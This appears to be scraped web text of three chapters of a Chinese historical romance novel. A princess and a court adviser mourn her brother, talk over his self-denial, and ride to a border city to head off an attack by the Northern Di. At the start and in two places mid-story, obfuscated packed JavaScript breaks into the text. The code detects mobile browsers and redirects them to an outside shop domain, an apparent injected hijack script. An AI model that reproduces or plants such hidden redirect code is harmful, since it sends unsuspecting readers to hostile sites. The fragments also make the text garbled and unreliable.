l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405634|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>父母死后无人记得他的生辰,他随口一说,朝饶便记住了,还送了生辰礼,娄卿旻便一直记着这份恩情,将剑穗保管得十分妥帖。 如今想想他还真是蠢,金丝线那样珍贵的东西,哪里是宫外能买到的。 只是,如今忽然知晓是朝颜亲手所做之物,他很震惊,但心里也觉得更当珍惜。 朝饶的遗物,本就该交予朝颜保管,娄卿旻便没再张口要。 他只是悄悄伸手,将袖中快要掉出的另一串剑穗藏得严严实实,转头看向朝颜,拿出一块方巾递给她,轻声道:“殿下节哀。” “我无事。”朝颜接过方巾,擦去眼中湿润。 情绪慢慢平息,她故作无所谓,“其实先前我已做好替他收尸的准备,本就不该过多奢望。如今想想你不告知我也是对的,我太冲动,容易控制不住自己的心绪,若真那样保不齐会暴露出来。” “我不想众人再陷入战乱,只想他们都平平安安地活着。” 说到此,娄卿旻突然回想起那日姜宣同受伤时,朝颜怒气冲冲去客舍兴师问罪的模样,最终还是低了头:“殿下,宛廿之事,臣不是故意隐瞒,只是怕把你牵扯进来。” “可我最后还是牵扯进来了。” 朝颜淡淡看了他一眼,收好方巾后转过身继续前行,清亮的话传进娄卿旻耳中:“如今我也可以与人对打几回合,不再是从前那样软弱之人。” 娄卿旻快步跟上去,谁知眼前人忽然停下脚步转过身,二人面对着面,两两相望,只差一寸便抱到一处,男人关键时刻后退了半步,却也因为焦急而站不稳,下意识扶了她的手。 朝颜也未挣扎,任由人站稳后才缓缓往回伸手。 突如其来的接触让娄卿旻有些狼狈,他故作镇定低下头不去看朝颜,却不知自己这模样在她那里有些欲盖弥彰的意味。 衣袖上还残留着少女身上的淡淡香粉气,清甜芬芳,涌入鼻尖。 “娄卿旻。”少女忽然唤了他一声。 她竟不管不顾,直接唤他名讳。 男子讶然抬头,琉璃色的瞳孔对上少女那双水光潋滟的桃花眸,那眼睛很灵动,像是湖中旋涡,引人不断深入又不放人出来。 她又很平静、坚定,显然没有因二人方才的举动而有任何波澜。 也不觉得唤他名讳有何不妥。 不多时,轻盈的嗓音像是美妙的歌舞般,字字句句跳进他脑海:“娄卿旻,我这样唤你,是因为此刻我不想我们是君臣,我想说的是,你以后,可以试着相信我。” “真的,试试。” 朝颜的话像是一盏明晰的铜镜,能将人心中所想照得明晃晃。 她面上带着感激与了然,直接将娄卿旻的良苦用心道了出来:“兄长之死,你未必比我少难过半分,只是你一贯喜欢将心事埋在肚子里,不愿与人说而已。” “或许你可以将烦恼分出一些给我,试着相信我,试着把我当成一个可信的朋友,那样你会轻松很多。”说完她便转身走了。 许是练过武,朝颜走路姿势愈发利落,矫捷身姿穿梭在人群中,男人还在原地,静静望着她的倩影,神思飘摇。 他脑袋反复重现朝颜方才的话,垂着眸,长睫在他眼下打了一片阴影。 眼前已经失焦,什么都看不清。长街之下一小方天地,回荡着男人的呢喃:“试着……相信?” 49. 纷争又起(二) 朝颜很少出门,不论是从前在华纪亦或是如今在燕国,陪伴她的只有漫漫长夜与高大孤寂的宫墙,确切地说,她很少有如此自由自在地漫步在长街之中,与普通人一般,享受这世俗烟火气的机会。 好不容易能有一次无人管辖的惬意舒适之日,她便安然享受着。 停在一个商贩前面却发现身后人没跟上来。 她回眸寻人,娄卿旻这才紧跟上她的脚步,二人走完城东边整条长街,朝颜已经有些口干舌燥了。娄卿旻似是读懂她心中所想,带人进了一家酒肆。 又一次坐在同意桌案上用膳,此刻二人间的关系早已变了又变,娄卿旻依旧是黄米饼与豆饭藿羹、凉拌苦菜,也不知究竟是着迷这几样食物还是如何。 朝颜不明白,也不理解,甚至觉得他是否在吃上有什么难言之隐。 要说从前二人是看不顺眼的冤家,她懒得关注他的吃食与行事,但如今他们的关系不似从前那般冷漠,也算是知心好友,见好友整日食素,日日三餐都是一模一样的,她再也忍不住心中疑惑,好奇开口问道:“大人为何只吃这些?” 问话间,娄卿旻正夹起一口饭往嘴中送,饭入口后,他咽下去才将眸子转到朝颜身上,悠悠答话: “殿下有所不知,从小臣的父亲便教导臣,若要成为君子,需谨记着一句话:傲不可长,欲不可纵,志不可满,乐不可极。臣觉得食欲亦是欲望之一,不应放纵,于是多年来臣便只食这几样。” 他停了半刻后又解释道:“不食肉也是为了替九泉之下的家人在世上增些功德,减少杀孽。” 说完话他便又毫不在意地吃起来。 这还是朝颜头一次听他亲口谈及自己的家人,但这减少杀孽之类的话让她觉得十分奇怪,娄卿旻虽不是上阵杀敌的将军,但也是管理士兵的军师,若真的怕造杀孽,便不会指挥旁人上战场,杀敌寇。 思及此朝颜又意味不明地瞥了他一眼,总感觉这话是他临时胡编的。 朝颜眼睛转了转,故意又问:“大人为何一定要听父亲所言成为君子呢,做普通人难道不好么?” 在活了两世的朝颜看来,君子不是特别好的一个称呼,更多的是一种限制,一种捆绑人生的枷锁。也意味着什么错误都不能犯,若是犯了,便会遭人人唾弃。 既如此,为何普天之下诸多文人墨客与高官后位都极其在乎这个称呼,都想要达到这个境界。 见人不言语,朝颜笑了一下,趁人愣神时帮其斟满茶水,漫不经心道了句:“若说到欲望,我觉得大人长期食用同一种饭食也在变相地证明,您已经欲望成瘾了?” “……” 朝颜直白的话语像是一道道激雷重重地打在娄卿旻身上,迷茫了许多年的他此刻竟因为一句话猛然清醒。 这些年来父母被杀的画面无时无刻不在他脑海中浮现,为了完成父亲所愿,他更是将父亲临死前留下的那句话死死记在脑海中,并实行下去。 他说:莫要贪恋世俗欲望,否则会招惹杀身之祸。 从此他便不去拥有更多财权,也不放纵自己享乐或悲痛,活得像是一个木头人,甚至情绪都不敢有。 因朝颜兄妹二人年幼时在百草林救下他,他便知恩图报,效忠华纪。除此之外他都不管不顾,只为父亲的遗言而活。 眼下别人却告诉他,他坚持的都是错的,他早已欲望成瘾,他才反应过来,自己以为的不贪,其实便是贪。 这么多年,他亲手将自己困在一个出不去的牢笼中,每时每刻都在其中打转,不肯放过自己。 也不愿原谅幼时的他。 若非他硬要在那一日去百草林狩猎游玩,身上带了些贵重之物,他们一家人就不会让那些贼寇盯上,也不会惹来杀身之祸。 父亲与母亲更不会因为保他一命而被那群人害了性命。 他还记得在那阴暗潮湿的地底,周围只有一处亮光,周围散发着尸身的恶臭还有凶狠的鸟兽惨叫。 那些山贼抢了财还不放过他们,故意折磨父亲和母亲在他们身上砍下一刀又一刀,还笑呵呵地以此来享乐,将他们害死后,把他三人关到山洞里,放下数十只老鼠去啃食他们的肉身,他如何恳求那些人都不管不顾,对他一顿打骂。 最后,尸身全部皮开肉绽,露出白骨,血液也已流干。 而他却什么都不能做,只能被绑着手脚,亲眼看着那惨不忍睹的画面。 见过那样的场景后,他便再也不敢食肉糜,亦不敢拥有什么财,不与外人交好。 是因为他怕,他怕自己连累他们,更怕旧事重演。 娄卿旻陷入自己的思想漩涡中无法自拔,身上不断冒冷汗,分不清自己在现实中还是梦魇里。 风一吹,身上冷汗像蛇似得从脊骨上升到后脖颈。 他霎时惊醒,目光聚集到朝颜白嫩的手背上。 定睛一看,她手一侧摆着盘绿莹莹的菜,已经推到他面前最近的地方。 朝颜知道娄卿旻听了进去,而后便语不惊人死不休似得,又道:“其实生而为人,欲望是必不可少的一物。大人并非对万物都没有欲望,确切地来说,这世上无一人会没有欲望。就好比大人,成为君子、年如一日地吃同一道菜,便是你的欲望。” 一席话毕,娄卿旻宛如被人从迷雾中救出,如梦初醒。 他以一副极其认真的姿态,看着少女沉默很久,薄唇微启,最终只用了四个字来应她:“巧舌如簧。” 朝颜不以为然,随之莞尔一笑:“就当大人是在夸我了!” 话毕,她伸手指着男人面前最近的菜肴,语气轻快道:“或许大人可以试试这道菜,据说是每年元朔之日家家户户的必备菜肴,吃过可以健康长寿,新年那日害你受了伤,你应该没吃到,不如今日就将其补上,以后也好少受些伤。” 娄卿旻顺着她手指的地方看去,是长年菜。 父母在世时,每每新年第一日,他们桌上也必不可少。 本以为这辈子要守着那三道膳食过了,不想还有机会再回归原先的生活。他也想着给自己一次机会,一次自由的、重新来过的机会。 他持着竹筷夹了一口鲜绿的芥菜,而后动作缓慢的放入口中,细细品尝着,面上露出一丝久违的可口之感。 不知不觉唇角扬起一个弧度。 见状,朝颜也跟着释然地笑了一下。 之后的二人便各吃各的,不再言语。 朝颜虽是吃着自己的,注意力却全在娄卿旻身上。他除去吃了几口长年菜外并未吃其他的,就算如此,朝颜也心满意足了。 万事万物总归有个开始,需要循序渐进,慢慢来,急不得。 用完膳后,朝颜从袖中取出那方锦帕擦了擦唇,而后又看向娄卿旻,十分随意地开口:“对了,还未问过大人,兄长的尸首在何处,我想……带他回家。” 她语速很慢,有试探的意味。 娄卿旻答:“峮防关隘的山丘上。” 朝颜皱了皱眉。 峮防离燕国很远,就算不眠不休,来回也至少需要三日时间。 三日时间,也早已回到华纪了。 若是去而复返,怕是需要五日。 意识到朝颜的真实想法,娄卿旻忽然面容冷峻,很严肃地看着她,摇头道:“殿下,眼下不便带太子回华纪。” “为何?” 见人一副不了解清楚便不罢休的模样,娄卿旻耐心解释着: “据暗卫所查,峮防的山匪私下还在蠢蠢欲动,四处采买军资,休战的这几个月他们也已经修养妥帖,背地里正计划着卷土重来。所以臣故意放出太子重伤的消息诱骗他们,他们得知消息后确实又安分了几日,但眼下还不是最佳时机。” 他顿了顿“殿下,臣也想接太子回去,但须得想个两全其美的计划,斩草除根。” “否则,后患无穷。” 观他敛容屏气,又义正词严,朝颜强忍着快要落泪的感觉,也不过多纠缠,只是叹了口气,“既如此,那便听大人一言。” 这也是娄卿旻第一次与她坦白,又将事情利弊讲得明明白白,她确实不该再由着自己肆意妄为。反正,迟早有一日,她要亲自接兄长回家。 见人又红了眼,娄卿旻于心不忍,说话语气都柔了不少:“殿下放心,只需再忍些时日,待除去敌寇,我们便接太子殿下回去,风风光光地接。”他也在尽力给她承诺。 朝颜通红的双眸撞入那道满含关心的眉眼,也变得坚定起来,破涕为笑道了个“好。” 二人回了娄卿旻所居的客舍,朝颜坐上回宫马车,掀起帘布与人告别。 男人忽然顺着窗口递进来一个小布袋,上面绣着华纪的国花——百日红,布袋小巧玲珑,精致又美观。朝颜当着众人的面直接将其打开,从中取出两枚铜钱,镂空状,样式新颖好看。 她翻来覆去看了几眼后,疑惑问:“这是什么?” “压胜钱,就当是臣代替太子殿下给您的贺岁礼物。”一回到众人面前,娄卿旻又恢复成恭恭敬敬的模样。 “多谢大人。”朝颜虽不知这礼是何意,也懂得礼数,知晓感恩,众人面前她便也转变成了娄卿旻的君。 说完便唤车夫驾马离开了。 马蹄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“燕国边境传来消息,说北狄派出大批人马不日便要兵临荆城,大司马在城中也遭遇刺客突袭,已经重伤无法守城。眼下荆城只剩下城主荆其死守城门,快要失守。” 朝颜问:“北狄为何会举兵攻城?” 朝弦将知道的所有事细细道来,朝颜这才知北狄之人的阴险狡诈。 信中说北狄有位商人去荆城采买时被人暗杀了,北狄君主便借此人生事,说燕国人不讲义气,杀人夺财,还让他们立刻把凶手交出来,否则便要攻城为那人讨个公道。 但城主荆其说那人是自己突发疾病而亡,没有人杀他,亦没有凶手,更没法交人。 如此僵局,两方便只能耗着,北狄给他们五日时间,让他们给个交代,若不然便会攻城。 朝弦身为王后,本是安安心心打理后宫,不管朝堂之事,奈何他们几位大臣商议时她恰好进去送热汤,听到城池百姓快要丧失家园,她也没办法坐视不理,这才在此忧虑,犯了难,只能寻朝颜找解决办法。 她皱着眉,语气十分焦灼,对朝颜敞开心扉:“荆城百姓虽远在边关,但燕融从未放弃过他们,每月都会让城主写一封信禀明荆城的状况,城主信中一直夸百姓上下们其乐融融,犹如一家,对待外来商人亦是以礼相待,为此还专程建造了一座客舍免费供他们居住。” “敢问如此良善之人,又如何会做出杀人之事。” 朝颜听完后叹了口气,低头垂眸,瞥见朝弦锐利的指甲紧握成拳,怕她不小心把掌心戳破,忙拉过她的手,帮其抚平,而后又听她说:“眼下王上虽已派大司寇赵成延去支援,但是堂姐有些害怕,北狄善用骑兵,我们虽有弓箭手,但人数不足,堂姐也怕他守不住。” “我也不想让那些无辜百姓陷入战乱弄得无家可归。” 尤其是她昨夜做了噩梦,梦中燕国已血流成河被人北狄一举歼灭,她与夫君也死在一个凶狠的男人手上,她害怕极了。 醒来发现是一场梦她是既欣喜又生畏,她没参与过军政,根本不知如何是好。 朝颜连忙安抚:“堂姐,你先别急,赵大人定能稳住局面,再不济也可以拖几日,我们可以借这几日想想更好的办法。” “可是,可是我听闻北狄右贤王宛靖十分残暴,昨夜、昨夜我还梦到……”说罢她又将梦境中发生的事跟朝颜讲了一遍。 朝颜光是听她口头讲述都觉得画面残暴血腥,不过她抓住朝弦话中的关键词迅速追问:“堂姐,你方才说右贤王姓氏为宛?” 宛廿,宛靖。 朝颜有个奇怪的猜想…… 莫非宛廿便是那右贤王宛靖派来的? 50. 纷争又起(三) 宛廿和宛靖。 朝颜不觉得会有同姓氏又同地域如此巧合的事,宛廿定是宛靖的麾下,只是不知宛靖背后之人是否是丹擎王。 若真是,那华纪与燕国的处境便岌岌可危。 华纪自前几月与山匪一战失了许多士兵,两方虽都未胜,但由于山匪阴险狡诈,在武器上下剧毒,害得兄长身亡娄卿旻重伤。华纪便已经落了下风,此刻若是真的再与北狄对上,胜算不高。 况且她也不愿百姓们平静安定的生活被打乱。 不论如何,这一仗也不能打。 朝弦见她双眼盯着一处出神,还以为她没明白自己的话,继而又解释着:“北狄在未立新王时曾经活跃着两大世族,宛氏和月氏,那时他们便自封左右贤王,各自占领东、西两块地界。” “左贤王便是如今的北狄君主丹擎王北堂禹。他因父亲早死,便跟着自己母氏一族生活,而右贤王宛靖始终跟着父姓宛氏。据说北狄之人擅长御马射箭,他二人便以狩猎最多者称王,起初确实是宛靖稍胜一筹,但最后定胜局却被北堂禹以一只黄狼反超,自此北狄便尊王北堂禹为王为首领。” 朝颜听明白了,“原来竟是这样。” 她从前被豢养在深宫,只知北狄有一个君王,却不知看似风平浪静的家国,内部也早已出了嫌隙。 朝弦又继续说:“北堂禹登位后仍随父姓,他虽称王立号,但宛氏还是有一半的人都不服北堂禹,支持宛靖为王。可他们又架不住月氏背后那支厉害的北狄突骑,便只能俯首称臣。北堂禹重视情义,从前二人为左右贤王时关系尚好,故而他称王后也没将宛氏的兵符收回。” 话毕,朝颜又回忆起前世的北狄。 那时他们与中原便是各自为政,相安无事,从未透露出他们背后的突骑兵。 朝颜忽然好奇衡无倡攻破中原后是否拿下北狄了? 他曾说过要当天下霸主,将所有国土都掌握在他手中。也不知残酷无情的他对上骁勇善战的北狄,谁胜谁负? 不过她瞬间便将自己从回忆中抽离。 前世如何已经不重要,今生她要护好华纪与燕国,衡无倡的奸计无法得逞,自然也不会再有机会对上北狄。 眼下最重要的是燕国。 要弄清燕国背后究竟是宛氏一族还是整个北狄。 想到这儿朝颜看着朝弦,认真问道:“依堂姐所见,此次北狄攻城背后是否为丹擎王所授意?” 朝弦眸子转了转,摇摇头,“或许只有宛靖。” 闻言朝颜便一副悉听尊便的模样看着她,她解释着:“宛氏暴虐,自右贤王争夺王位失败起,两族便拔剑弩张,宛靖表面应承私下不听北堂禹指示也不是第一次了。” “你姐夫一年前曾同我说过宛氏已对燕国虎视眈眈了。” “因为宛靖领土离荆城很近,荆城主一面知晓他们缺少粮食和衣物,一面又想照顾城中商人的生意,便欢迎他们入城采买。可百姓们都说,宛靖去采买时明里暗里总喊着要将荆城占为己有的话。城主便来信禀明过此事,你姐夫也一直提心吊胆。” “如今想想,宛靖一直不出手,也只是碍于燕国与华纪交好,若不然依他那凶狠的性子,早就攻破荆城了。” 说完她叹了口气,“如今这条人命倒恰好给了他们机会。” 至于北堂禹,远在东面,又怎会知晓西面的一举一动。 顺着她的话深思,朝颜倒是也能猜出宛靖是个两面三刀的狡诈小人。他假装效忠,实则背地里暗度陈仓,早早计划着扩大自己的领地。 朝颜在想,北堂禹他既身为君王,纵使多么在乎情义,也会对宛靖有一定的忌惮之心。 再者说宛靖若真有实力为何不直接推翻北堂禹自立为王,反而来攻打燕国边境,他又不是不知晓华纪与燕国交好,两国之怒,他抵御不了。 她忽然想到一个奇怪的方向。 或许宛靖本意不是攻城,而是旁的什么? 北狄之人在燕国丧命一事两方各有说辞,不论如何都要弄清事情真相再做打算。 “凡事皆有利害,宛靖既然说给我们五日时间,便证明他不是傻子,我不信他会因为一条人命与两国结仇,他或许另有所求。”朝颜十分严肃地看着眼前女子,一语道破事情真相。 “若不然派我试一试。”朝颜方才脑中闪出这句无畏的话,直接说了出来:“试试能否不费一兵一卒解决此事。” 听完这话朝弦紧紧皱起了眉头,即刻反驳:“不行,我不放心你,路途遥远你又没经历过此事,我又怎敢拿你的性命开玩笑。” 朝颜的确没亲身经历过,但她前世在普桑时,每每衡无倡打了胜仗,那些宫人们都会在私底下不断夸赞诉说衡无倡是多么英勇神武,料事如神。久而久之她也渐渐明白对于君王来说,家国安定,赢得民心才是最重要的。 再者说她重活一世,靠着这段时日看了些史书,对行军作战之事亦略懂一二,或许也能尽些绵薄之力。 知晓朝弦怕她出事,她便安慰着自己不会独自前往,“堂姐,若你实在不放心,我可以带娄卿旻一齐去。有姐夫在,你定听过他从前为华纪立下的种种功绩,他也有两个武功高强的侍卫护身,我相信,若带他去定能帮燕国扭转乾坤!” “你就如此信任他?”朝弦凝望着她,问道。 “没想到多日不见,你二人的关系倒是愈发好了。” 朝弦兀的想到朝颜方才的话,又冷脸看她一眼,那眼神似乎又在不满她直呼其名讳,有失礼节的举措。 朝颜眨了眨眼,满不在意地笑笑,找了个好借口:“毕竟他几次三番救我性命,如此大恩大德,我总不能知恩不报,故意疏远,待人如猛兽吧?” 朝弦被她这几句玩笑般的顶嘴弄得心绪上上下下,脸上的忧虑也逐渐消散,被一抹笑意替代。 转而抬起手臂,指节温柔地勾了一下朝颜的鼻尖,又陷入沉思。 总归是替燕国做事,不论成与不成都是朝颜的心意。 万一真的阻止了这场战乱,百姓们也免去一次颠沛流离之苦。 想到此处朝弦释怀地点了点头,“罢了,若是你打定主意要带娄少傅去,也确实可以一试。但是你也要听我的,多带几个暗卫,不然我不放心。” 朝弦还记得朝颜初入宫那日太医帮其换药时,那血肉模糊的裂口,看得她直心疼。自己身为她为数不多的亲人,怎能让她一而再再而三受伤。 念在多一个人手便多一条出路的份上,朝颜也乐呵呵地答应了她。 于是二人又将此事禀告给燕融,燕融先前带过几次兵,知道战争的残酷无情,此刻有人主动请缨,还说要不费一兵一卒,他当然乐意之至,而后调派给朝颜一千人马以备不时之需。 此事非同一般,事关性命,须做好两手准备。 隔日一大早,燕融专程派人给娄卿旻送了帛书,请他一同前去。 娄卿旻手下在许多地方都安插着自己的眼线,便也知道边境之事。 华纪本就与燕国交好,此刻燕国国君有求,他身为华纪使臣能帮则帮,不会拒绝。 暮商已在案前研好磨备下布帛,娄卿旻刚准备给燕融写回信,便见羽堇来此拜访。 羽堇奉朝颜之命给他带了几句话,也是边境之事,听完便皱了眉。 他原以为燕融派自己去边境便够了,不想也要朝颜亲自涉险。 娄卿旻特意给二人各自写了一封帛书,让羽堇交到他们手上。 下朝之后燕融便一股脑地待在朝官批奏百官的奏折,其中有几个人上奏之事也跟荆城有关,诉说着多么担心多么恐惧,但偏偏众人都想不出任何好办法,只想着如何求救兵救燕国。 他看了只觉得燕国养了一群饭桶,除了已去边境的赵成延与司马将军,无一个能真正派上用场。 就在他怒急攻心,准备骂人时,宫人说娄卿旻的答复来了,他急忙打开看完后,烦闷的心情也愉悦起来,对娄卿旻夸了又夸,还特意赏赐了些财宝以赞扬娄卿旻的勇气可嘉。 为表诚意,他许诺此事成功后,要为娄卿旻在燕国留个官位。 …… 这边收到娄卿旻来信的朝颜当即便拆开看,看过之后火冒三丈,咬牙切齿地写了封回信递给身侧少年。 羽堇就这样被当做传信使,在他二人间辗转往复,送了一封又一封,最终由朝颜定下明日启程,此事才算结束。 定下离开之日,朝颜忽然想起舅父二人,而后又给姜贯写了封信,让他莫担忧,去去就回,照顾好堂兄,顺带多多帮她照看连瑕,羽堇拿着信去而复返,还带了回信。 上面只说让她注意安全,想做什么便去做,不必杞人忧天。 趁着如今正年轻,多见识见识广阔天地,比在宫墙中当一只金丝雀要来得痛快。 朝颜看完舅父的来信,笑着笑着便哭了。 普天之下,除了仲清先生,就只有舅父不会让她拘泥于女子被困于牢笼中的思想。 舅父于她,不止是亲人,更是灵魂相撞的知己。 马上要离开王宫,朝颜心中很是期待,虽然还带着一丝对未知的畏惧,但也无甚大碍,被舅父来信鼓励后,她便也将从娄卿旻那受的气抛之脑后。 她从未上过战场,亦不知谈判是何种模样,思来想去,结果便是整夜无眠。 天边泛起鱼肚白,朝颜却困意来袭,眯了不到一刻便起来梳洗更衣,槐夏昨夜入睡前已将二人的衣物与行囊收拾好,待朝颜更衣过后二人便直奔寝殿外的马车而去。 朝弦燕融二人在她马车出发前,专程跑来送行,朝颜与之又一番寒暄后,才上车离去。 * 辰时,晴空万里,金光渐起,沉睡整夜的万物也慢慢苏醒。 出行之日天气如此晴好,颇有几分吉兆的天象。 娄卿旻暮商等人骑马在最前方带路,朝颜的马车在中间,羽堇守在马车后方,剩下燕融的人马则是十分整齐地跟在羽堇之后。队伍浩浩荡荡出了城池。 边境天寒地冻,燕融难得出手阔绰,特意为朝颜备了辆内部极其奢靡的马车,生怕她冻着累着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405636|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝颜虽提前知晓燕融会准备,但见到马车内部的模样还是被惊到。这里面空间极大,可容下七八个人。 脚下燃着炉火,火苗很旺,温暖惬意。 所坐的位置亦被铺着厚厚的毛毯,完全感觉不到冷,甚至还有几分燥。这让从未如此享受过的朝颜觉得过分奢靡,有些浪费。 脖颈被炉火烤得直冒细汗,朝颜终是褪下挡风大裘,露出里面那身纯白色曲裾绕襟袍,不知是否因为穿了白色,原本昨夜混乱的心绪也逐渐平稳下来,身体也觉得十分舒适。 就在这时,窗外忽然传来几声急促的马蹄声,朝颜素手一挑,掀开帘子向外看去。 红棕骏马先映入眼帘,紧接着便看到那袭修长稳健的青色身影。 他好像很爱竹色,所穿衣物大多都是青衫,也就是因为眼下是冬日,他才在外套了件灰白相间的狐裘抵御寒冷。 也不知他来这儿作何,朝颜就静静坐着,等他开口。 他一手勒着缰绳一手按着身侧的剑,眉目清朗,双眼直视着前方,轻启薄唇,道:“此去一行风餐露宿路途遥远,趁着还未走远,殿下此刻后悔还来得及。” 朝颜总觉的他话里带着那么一丝丝的嘲。 是了。 娄卿旻起初不同意她去,怕到时遇到危险顾暇不及。 但朝颜这一世潇洒惯了,又怎可顺他的意,那日坚定要去,今日也直接迎面而上,挑衅着他:“大人说笑了,既选择了,便不后悔。大人武力高强,若真遇到危险,可切莫忘了保护我。” 颇为挑衅的激将法出自一个少女口中,娄卿旻不会恼怒,他只觉得还有些可爱。 眼下他看似坐得比她高,实则气势上却输了一截。 娄卿旻心中无奈笑笑,偏过头与少女对上眼神。 只见她眉眼弯弯,桃红唇角微微勾起,那身白裙将其衬得自信耀眼,无所畏惧,似仙神下凡游玩,看过世间的一切后的淡然。 她不知这份漫不经心的无畏姿态十分夺人眼目。 娄卿旻就这样看愣了眼。 凉风吹拂,少女往后缩了下脖颈,他才回神。 察觉到自己方才的举止是多么无礼,心虚地咳了一声收回目光,耳尖已染上绯红,他却故作淡定,接话:“职责所在,自不敢忘。” 话一撂下,他便不敢再多留片刻,生怕被朝颜戳破他方才的无礼。 他急急忙忙地驾马回到自己的位置,带着长队循循前进。 朝颜看着那道背影,眼中充满疑惑,心道这人真真奇怪,来挑衅的是他,不打声招呼便离开的也是他,像极了临阵脱逃。 不过她也不多想,放下帘布伸手去火炉边烤火。 因赶时间,队伍连着行了一日一夜的路,中间也未曾停下歇脚。 朝颜精致的妆容已经逐渐凌乱,马车行在泥路,上下左右十分颠簸,坐久了便浑身酸痛,疲倦不已。空气也不流畅,一路未食多少,搅得朝颜胃中泛酸,隐隐有呕吐之意。 她甚至都觉得眼前这奢华靡丽的马车看着舒服,到底不如在外骑马呼吸新鲜空气来得痛快。 越往北边丛林山脉就越多,周围愈发潮湿,温度也比燕国廓州城低了不少,若不是怕吹风着凉,她定要痛痛快快地出去骑马。 好在已经行了多半的路程,只需再忍忍。 后半段路间,娄卿旻曾来问候过朝颜一次,见人身体不适,便停了一刻歇息,朝颜吃了些饴糖,喝过水后身体缓解不少,他这才下令继续前进。 原以为他们会多费些时日才能赶到荆城,不料这一路竟出奇地顺利,直到临近城池还有半日路程时,天空忽然飘起细密的雪花,温度骤降,天寒地冻,朝颜在车内都穿上了大裘,外面行路的军士在娄卿旻吩咐下停住前行的步伐,纷纷披上了厚皮铠甲保暖。 朝颜见众人被冻得瑟瑟发抖,自己却窝在马车里舒坦,心中愧疚。连忙下车趁着众人停下穿衣的功夫让槐夏羽堇帮着给众人烧了些热水,让他们一人几口暖暖身子,以解燃眉之急。 修整完毕后,众人又开始前行。 朝颜从帘布一角向外看去,便找到暮商暮均二人中间的男子。他扯着缰绳坐在马上,稳如泰山,任由狐裘被风掀起,他也没别的动作。 朝颜心中不免浮上些许担忧。 也不知他的心肺是否痊愈,这样恶劣的天,娄卿旻他们在最前方替众人抵着肆虐的风雪一定很冷,也不知会不会旧伤复发。 此次事发突然,他们来得也急,原本计划回华纪,眼下也是不能了。不过她亦是想着,待解决完燕国边境之事后,须得让娄卿旻好好休息几日,若不然这身体怎么吃得消。 她将手伸出窗外,几片雪花洋洋洒洒落到掌心。 她沉默不语地看着那些雪花,看它们在手中化为水珠,最后风一吹,又结成冰,一时竟觉得惆怅。 时间飞逝流过,已入新年,用不了多久便是立春,若不出意外,这应是冬日里最后一场雪。 而过了春便入夏,距离她和亲的日子也更近了。 51. 纷争又起(四) 浩荡长队赶到荆城时已经入了夜。 由于提前得了信,城主荆其与赵司寇二人提早赶到城门处,带人迎接他们。 夜里有雪无月,除了城门口那堆火把照亮的地方,其余四周一片漆黑,也看不出是何种景象。 长途跋涉又遇到风雪天气,将士们都已冻得手指僵硬。几位大人看见众将士打哈欠暖手的场景,便也不再浪费时间,直接迎他们入城。 刚入城门,荆其便有眼色地吩咐手下几个人将他们后方的一千人马带往驿馆妥帖安顿好,两位大人则是带着娄卿旻与朝颜及亲卫婢女向城主府的方向赶去。 城主府相较燕国王宫可谓天差地别,但却是这边境城池中最大的处所,来往达官贵人都会安排在城主府,而赵司寇与司马将军也住在此处。 赶到府门前,娄卿旻翻身下马与城主颔首以示礼节后,便直接寻到迎接队伍中的赵成延。 他比自己来得早几日,应熟悉城池内的一切消息。 行至赵成延身侧他先是问了句司马将军如何,便听人答:“已无性命之忧,就是暂时不能起身,所以也带不了兵……” 二人几句话叙述完司马将军的状况,朝颜下了马车,她是偷偷溜出华纪的,便让众人直接免去礼节,平等相处。 几人跟着荆其穿过庭院走到后院客房,城主便安排娄卿旻独自一间,暮商暮均共住一间,原本城主想让朝颜与槐夏分开来住,但朝颜说自己夜里需要人陪着,二人便同住。 划分好住所后,几人又跟着城主转去书房商讨北狄之事。 刚入书房,各自落座。赵成延便迫不及待开口追问:“娄少傅觉得我们应怎样攻打才能获胜?” 娄卿旻垂眸深思了片刻,幽幽地道:“上兵伐谋,其次伐交,其次伐兵,其下攻城。舞刀弄枪是最最下等之法,最后只会两败俱伤。” “于荆城来说,眼下最好的办法便是——不战。” 话一出,朝颜抬眸朝人看去,他的‘不战’二字直接勾起了她的好奇之心。娄卿旻既然能说出口,就证明他想出了好法子,朝颜环顾左右,其余两人也与她的反应一样,都在等娄卿旻下一句解释。 赵成延疑惑不解,久等不到人答,他连连追问:“不战?可明日他们就要兵临城下,不战如何守城?” 他们赶路废了几日,今夜是最后一日,明日便是第六日,无论怎样事情都要有个结果,或延缓或开战。 不战,则需两方各自人马全部同意。但宛靖那步步紧逼的模样,明显是要开战。 娄卿旻安抚着赵成延,而后又听城主讲述一遍那北狄人的死因,确认他的死与燕国无关,转头看向赵成延道:“赵司寇,烦请你派人传信与宛靖,让他明日辰时在城门五里之外的地方候着,届时两方各射一支箭为安全之距,各带两人于安全之距中谈判。” “就说,华纪使臣代燕国国君出面与他商谈,会尽量满足他的需求。” 男人思虑一番觉得只能照做,便起身离开。娄卿旻长睫垂下,余光忽然看到一侧坐着端庄的朝颜,又出声唤住赵成延,“大人等等……” 赵成延停步转身朝他看来,便听他又说:“对待敌人要软硬兼施才能立威。大人可另外写明两军均不可使诈,若不然北狄人日后便是整个中原的敌人,日后我们见一杀一,见百杀百!” 娄卿旻在赌,赌他北狄知晓华纪与普桑联姻之事。 